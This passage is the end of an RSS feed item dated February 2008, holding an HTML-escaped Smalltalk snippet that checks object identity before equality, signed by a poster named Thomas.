&#160; myObject == bObject <br />
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ifTrue: [^true]. &#34;the same object&#34; <br />
&#160; <br />
&#160;^myObject = bObject <br />
Greetings Thomas
</p>
<p>
&#60;&#60;&#60;</p>

]]></description>
	<pubDate>Friday, 29 February 2008</pubDate>
</item>
</channel>
</rss>